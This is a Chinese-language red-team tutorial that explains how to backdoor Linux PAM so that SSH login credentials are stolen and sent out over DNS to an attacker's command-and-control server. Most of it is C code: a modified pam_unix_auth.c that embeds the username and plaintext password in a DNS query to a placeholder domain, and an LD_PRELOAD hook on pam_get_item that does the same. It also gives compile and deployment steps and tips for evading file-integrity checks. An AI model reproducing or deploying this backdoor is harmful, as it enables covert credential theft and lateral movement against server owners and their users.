通过 PAM 后门和 DNS 请求来泄漏用户凭据

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前言

也许在渗透和红队中使用的最著名的Post-Exploitation技术之一,就是在PAM生态系统中打开后门来收集有效的凭证。通过后门获取的证书将帮助我们轻松地实现机器之间的横向移动。我们可以通过不同的选择来实现这一目标。

一个有趣的变化是将这种技术与传统的DNS数据渗漏技术(DNS exfiltration)相结合,这样我们就可以将凭据发送到我们的C&C,而无需担心防火墙和通信规则。我们只需要向机器使用的DNS服务器发送一个DNS请求,然后它将被转发到其他DNS服务器,并且在某个时候该请求将攻击我们的权威DNS服务器。所以我们可以用这个众所周知的渠道默默地取回凭证。

我们的路线图非常简单:添加一个自定义PAM模块,该模块以明文记录凭证,并通过DNS解析将其发送到我们的C&C。

顺便提一下:即使这是一个古老而著名的策略,它仍然是一个非常酷的来显示所需的文件完整性控件的方式。获取服务器根权限,等待管理员或操作员通过SSH登录并享受吧!

 

0x01 修改pam_unix_auth.c

(我们不会解释PAM是什么或者它是如何工作的。要获得有关PAM的更深入的信息,请使用man)。

为了检索明文中的用户和密码,我们将把有效的pam_unix.so模块替换为我们修改过的模块。如果我们检查原始模块的源代码(从这里下载安装在目标服务器上的PAM版本的源代码),我们可以在pam_unix_Auth.c文件中看到一个名为pam_sm_certiate的函数,并且在这个函数中调用_unix_Version_Password,其中的参数是身份验证中使用的用户名和密码:

// (...)
    /* verify the password of this user */
    retval = _unix_verify_password(pamh, name, p, ctrl);
    name = p = NULL;

    AUTH_RETURN;
}
// (...)

因此,在这一点上注入我们的过滤逻辑看起来很好。作为PoC,我们可以使用这段代码(SilverMoon-29/4/2009),所以主要的外排逻辑还没有实现(这段代码有一些缺陷-例如,它没有将服务器IP从Resolv.conf-…中取走) 因此,如果要在真正的渗透中使用它,需要改进代码;D)。让vim文件pam_unix_Auth.c添加所需的函数和头文件!:

/* Fun starts here :)

 * pam_sm_authenticate() performs UNIX/shadow authentication
 *
 *      First, if shadow support is available, attempt to perform
 *      authentication using shadow passwords. If shadow is not
 *      available, or user does not have a shadow password, fallback
 *      onto a normal UNIX authentication
 */
/* Backdoor  - DNS code extracted from https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168 */


// The code sucks a lot. It is Sunday and I have a hangover, so I am not in the mood to fix it. 
// Tons of bug and useless code that you should remove. Forgive me, please :)

#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>

//List of DNS Servers registered on the system
char dns_servers[10][100];
int dns_server_count = 0;
//Types of DNS resource records :)

#define T_A 1 //Ipv4 address
#define T_NS 2 //Nameserver
#define T_CNAME 5 // canonical name
#define T_SOA 6 /* start of authority zone */
#define T_PTR 12 /* domain name pointer */
#define T_MX 15 //Mail server

//Function Prototypes
void ngethostbyname (unsigned char* , int);
void ChangetoDnsNameFormat (unsigned char*,unsigned char*);
unsigned char* ReadName (unsigned char*,unsigned char*,int*);
void get_dns_servers();

//DNS header structure
struct DNS_HEADER
{
    unsigned short id; // identification number

    unsigned char rd :1; // recursion desired
    unsigned char tc :1; // truncated message
    unsigned char aa :1; // authoritive answer
    unsigned char opcode :4; // purpose of message
    unsigned char qr :1; // query/response flag

    unsigned char rcode :4; // response code
    unsigned char cd :1; // checking disabled
    unsigned char ad :1; // authenticated data
    unsigned char z :1; // its z! reserved
    unsigned char ra :1; // recursion available

    unsigned short q_count; // number of question entries
    unsigned short ans_count; // number of answer entries
    unsigned short auth_count; // number of authority entries
    unsigned short add_count; // number of resource entries
};

//Constant sized fields of query structure
struct QUESTION
{
    unsigned short qtype;
    unsigned short qclass;
};

//Constant sized fields of the resource record structure
#pragma pack(push, 1)
struct R_DATA
{
    unsigned short type;
    unsigned short _class;
    unsigned int ttl;
    unsigned short data_len;
};
#pragma pack(pop)

//Pointers to resource record contents
struct RES_RECORD
{
    unsigned char *name;
    struct R_DATA *resource;
    unsigned char *rdata;
};

//Structure of a Query
typedef struct
{
    unsigned char *name;
    struct QUESTION *ques;
} QUERY;

/*
 * Perform a DNS query by sending a packet
 * */
void ngethostbyname(unsigned char *host , int query_type)
{
    unsigned char buf[65536],*qname,*reader;
    int i , j , stop , s;

    struct sockaddr_in a;

    struct RES_RECORD answers[20],auth[20],addit[20]; //the replies from the DNS server
    struct sockaddr_in dest;

    struct DNS_HEADER *dns = NULL;
    struct QUESTION *qinfo = NULL;

    printf("Resolving %s" , host);

    s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries

    dest.sin_family = AF_INET;
    dest.sin_port = htons(53);
    dest.sin_addr.s_addr = inet_addr(dns_servers[0]); //dns servers

    //Set the DNS structure to standard queries
    dns = (struct DNS_HEADER *)&buf;

    dns->id = (unsigned short) htons(getpid());
    dns->qr = 0; //This is a query
    dns->opcode = 0; //This is a standard query
    dns->aa = 0; //Not Authoritative
    dns->tc = 0; //This message is not truncated
    dns->rd = 1; //Recursion Desired
    dns->ra = 0; //Recursion not available! hey we dont have it (lol)
    dns->z = 0;
    dns->ad = 0;
    dns->cd = 0;
    dns->rcode = 0;
    dns->q_count = htons(1); //we have only 1 question
    dns->ans_count = 0;
    dns->auth_count = 0;
    dns->add_count = 0;

    //point to the query portion
    qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)];

    ChangetoDnsNameFormat(qname , host);
    qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; //fill it

    qinfo->qtype = htons( query_type ); //type of the query , A , MX , CNAME , NS etc
    qinfo->qclass = htons(1); //its internet (lol)

    printf("nSending Packet...");
    if( sendto(s,(char*)buf,sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION),0,(struct sockaddr*)&dest,sizeof(dest)) < 0)
    {
        perror("sendto failed");
    }
    printf("Done");

    //Receive the answer
    i = sizeof dest;
    printf("nReceiving answer...");
    if(recvfrom (s,(char*)buf , 65536 , 0 , (struct sockaddr*)&dest , (socklen_t*)&i ) < 0)
    {
        perror("recvfrom failed");
    }
    printf("Done");

    dns = (struct DNS_HEADER*) buf;

    //move ahead of the dns header and the query field
    reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)];

    printf("nThe response contains : ");
    printf("n %d Questions.",ntohs(dns->q_count));
    printf("n %d Answers.",ntohs(dns->ans_count));
    printf("n %d Authoritative Servers.",ntohs(dns->auth_count));
    printf("n %d Additional records.nn",ntohs(dns->add_count));

    //Start reading answers
    stop=0;

    for(i=0;i<ntohs(dns->ans_count);i++)
    {
        answers[i].name=ReadName(reader,buf,&stop);
        reader = reader + stop;

        answers[i].resource = (struct R_DATA*)(reader);
        reader = reader + sizeof(struct R_DATA);

        if(ntohs(answers[i].resource->type) == 1) //if its an ipv4 address
        {
            answers[i].rdata = (unsigned char*)malloc(ntohs(answers[i].resource->data_len));

            for(j=0 ; j<ntohs(answers[i].resource->data_len) ; j++)
            {
                answers[i].rdata[j]=reader[j];
            }

            answers[i].rdata[ntohs(answers[i].resource->data_len)] = '';

            reader = reader + ntohs(answers[i].resource->data_len);
        }
        else
        {
            answers[i].rdata = ReadName(reader,buf,&stop);
            reader = reader + stop;
        }
    }

    //read authorities
    for(i=0;i<ntohs(dns->auth_count);i++)
    {
        auth[i].name=ReadName(reader,buf,&stop);
        reader+=stop;

        auth[i].resource=(struct R_DATA*)(reader);
        reader+=sizeof(struct R_DATA);

        auth[i].rdata=ReadName(reader,buf,&stop);
        reader+=stop;
    }

    //read additional
    for(i=0;i<ntohs(dns->add_count);i++)
    {
        addit[i].name=ReadName(reader,buf,&stop);
        reader+=stop;

        addit[i].resource=(struct R_DATA*)(reader);
        reader+=sizeof(struct R_DATA);

        if(ntohs(addit[i].resource->type)==1)
        {
            addit[i].rdata = (unsigned char*)malloc(ntohs(addit[i].resource->data_len));
            for(j=0;j<ntohs(addit[i].resource->data_len);j++)
            addit[i].rdata[j]=reader[j];

            addit[i].rdata[ntohs(addit[i].resource->data_len)]='';
            reader+=ntohs(addit[i].resource->data_len);
        }
        else
        {
            addit[i].rdata=ReadName(reader,buf,&stop);
            reader+=stop;
        }
    }

    //print answers
    printf("nAnswer Records : %d n" , ntohs(dns->ans_count) );
    for(i=0 ; i < ntohs(dns->ans_count) ; i++)
    {
        printf("Name : %s ",answers[i].name);

        if( ntohs(answers[i].resource->type) == T_A) //IPv4 address
        {
            long *p;
            p=(long*)answers[i].rdata;
            a.sin_addr.s_addr=(*p); //working without ntohl
            printf("has IPv4 address : %s",inet_ntoa(a.sin_addr));
        }

        if(ntohs(answers[i].resource->type)==5) 
        {
            //Canonical name for an alias
            printf("has alias name : %s",answers[i].rdata);
        }

        printf("n");
    }

    //print authorities
    printf("nAuthoritive Records : %d n" , ntohs(dns->auth_count) );
    for( i=0 ; i < ntohs(dns->auth_count) ; i++)
    {

        printf("Name : %s ",auth[i].name);
        if(ntohs(auth[i].resource->type)==2)
        {
            printf("has nameserver : %s",auth[i].rdata);
        }
        printf("n");
    }

    //print additional resource records
    printf("nAdditional Records : %d n" , ntohs(dns->add_count) );
    for(i=0; i < ntohs(dns->add_count) ; i++)
    {
        printf("Name : %s ",addit[i].name);
        if(ntohs(addit[i].resource->type)==1)
        {
            long *p;
            p=(long*)addit[i].rdata;
            a.sin_addr.s_addr=(*p);
            printf("has IPv4 address : %s",inet_ntoa(a.sin_addr));
        }
        printf("n");
    }
    return;
}

/*
 * 
 * */
u_char* ReadName(unsigned char* reader,unsigned char* buffer,int* count)
{
    unsigned char *name;
    unsigned int p=0,jumped=0,offset;
    int i , j;

    *count = 1;
    name = (unsigned char*)malloc(256);

    name[0]='';

    //read the names in 3www6google3com format
    while(*reader!=0)
    {
        if(*reader>=192)
        {
            offset = (*reader)*256 + *(reader+1) - 49152; //49152 = 11000000 00000000 ;)
            reader = buffer + offset - 1;
            jumped = 1; //we have jumped to another location so counting wont go up!
        }
        else
        {
            name[p++]=*reader;
        }

        reader = reader+1;

        if(jumped==0)
        {
            *count = *count + 1; //if we havent jumped to another location then we can count up
        }
    }

    name[p]=''; //string complete
    if(jumped==1)
    {
        *count = *count + 1; //number of steps we actually moved forward in the packet
    }

    //now convert 3www6google3com0 to www.google.com
    for(i=0;i<(int)strlen((const char*)name);i++) 
    {
        p=name[i];
        for(j=0;j<(int)p;j++) 
        {
            name[i]=name[i+1];
            i=i+1;
        }
        name[i]='.';
    }
    name[i-1]=''; //remove the last dot
    return name;
}

/*
 * Get the DNS servers from /etc/resolv.conf file on Linux
 * */
void get_dns_servers()
{
    FILE *fp;
    char line[200] , *p;
    if((fp = fopen("/etc/resolv.conf" , "r")) == NULL)
    {
        printf("Failed opening /etc/resolv.conf file n");
    }

    while(fgets(line , 200 , fp))
    {
        if(line[0] == '#')
        {
            continue;
        }
        if(strncmp(line , "nameserver" , 10) == 0)
        {
            p = strtok(line , " ");
            p = strtok(NULL , " ");

            //p now is the dns ip :)
            //????
        }
    }
    // EDIT THIS. It is a PoC 
    strcpy(dns_servers[0] , "127.0.0.1");

}

/*
 * This will convert www.google.com to 3www6google3com 
 * got it :)
 * */
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host) 
{
    int lock = 0 , i;
    strcat((char*)host,".");

    for(i = 0 ; i < strlen((char*)host) ; i++) 
    {
        if(host[i]=='.') 
        {
            *dns++ = i-lock;
            for(;lock<i;lock++) 
            {
                *dns++=host[lock];
            }
            lock++; //or lock=i+1;
        }
    }
    *dns++='';
}
#define _UNIX_AUTHTOK  "-UN*X-PASS"
// (...)

最后,一点小修改:

// (...)
/* verify the password of this user */    
    retval = _unix_verify_password(pamh, name, p, ctrl);
    unsigned char hostname[100];
    get_dns_servers();
    snprintf(hostname, sizeof(hostname), "%s.%s.nowhere.local", name, p); // Change it with your domain
    if (fork() == 0) {
        ngethostbyname(hostname, T_A);
    }
    name = p = NULL;
// (...)

编译该模块(./configure && make),用我们的版本替换原来的pam_unix.so,然后打开一个tcpdump/wireshark并通过SSH登录到机器中:

DNS    96    Standard query 0x6d43  A mothra.RabbitHunt3r.nowhere.local

很好!完成了一个DNS请求,因此我们可以将用户名和密码转储到由我们控制的外部服务器。但现在我们遇到了一个问题:在密码中使用大写/小写/符号(uppercase / lowercase / symbols)会发生什么?在后面的0x03一节中,我们将讨论这一点。

 

0x02 LD_PRELOAD

在某些情况下,需要采取另一种办法。如果服务器对关键二进制文件(如pam_unix.so和其他模块)或配置文件执行任何类型的文件完整性检查,则需要使用经典的LD_PRELOAD策略。我们将预加载一个共享对象,该对象挂接PAM使用的一些函数,因此我们可以轻松地将我们的退出逻辑注入其中。

我们的目标函数将是pam_get_Item。当以项类型PAM_AUTHTOK作为参数调用此函数时,它检索所使用的身份验证令牌。我们将hook这个函数,因此当调用它时,我们将调用pam_get_user()来检索用户名,然后调用原始pam_get_Item(获得正确的返回值和身份验证令牌),通过DNS将其过滤掉,最后返回之前获得的值。

/* Classic LD_PRELOAD PAM backdoor with DNS exfiltration */
// Author: Juan Manuel Fernandez (@TheXC3LL)

#define _GNU_SOURCE

#include <security/pam_modules.h>  
#include <security/pam_ext.h>  
#include <security/pam_modutil.h>  
#include <stdlib.h>
#include <string.h>
#include <sys/types.h> 
#include <unistd.h>
#include <stdio.h> 
#include <dlfcn.h> 
#include <sys/stat.h>
#include <signal.h>

// Insert here all the headers and functions needed for the DNS request
//(...)


typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type,  const void **item);

int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {  
    int retval;
    int pid;
    const char *name; 
    orig_ftype orig_pam;
    orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item"); 

    // Call original function  so we log password
    retval = orig_pam(pamh, item_type, item);

    // Log credential
    if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {   
        unsigned char hostname[256];
        get_dns_servers();
        pam_get_user((pam_handle_t *)pamh, &name, NULL);
        snprintf(hostname, sizeof(hostname), "%s.%s.nowhere.local", name, *item); // Change it with your domain
        if (fork() == 0) {
            ngethostbyname(hostname, T_A);
        }
    }   

    return retval; 
}

编译(gcc pam_fucked.c -shared -fPIC pam_fucked.so),停止SSH守护进程,用LD_PRELOAD=/../module/location…/启动它

使用LD_PRELOAD几乎没有什么负面影响,比如需要重新启动守护进程,因此它可以生成其他类型的事件来警告蓝队。另一方面,如果要以SSH的形式重新启动关键服务,则必须从SSH以外的某个点(可能是反向shell)进行操作,并注意避免终止当前会话。

 

0x03 与C&C的交流

如前所述,我们需要对将被过滤的数据进行编码(并对此信息进行真正的加密)。最好的选择是将其编码为十六进制或base32。C&C必须配置为一个权威的DNS,最好是使用一个模拟公司使用的真实域的伪造的域名类型。

你可以安装一个真正的DNS服务器,或者只使用python和dnslb创建所需的逻辑。

 

0x04 最后

我希望你通过典型的DNS数据渗漏技术找到一种酷的方法。这是一种非常简单的方法,可以在最近受到攻击的服务器中获得新的凭据,并征服网络中的其他点。

就像我常说的,如果你发现错误或者想要评论什么,请在Twitter上联系我(@TheXC3LL)。

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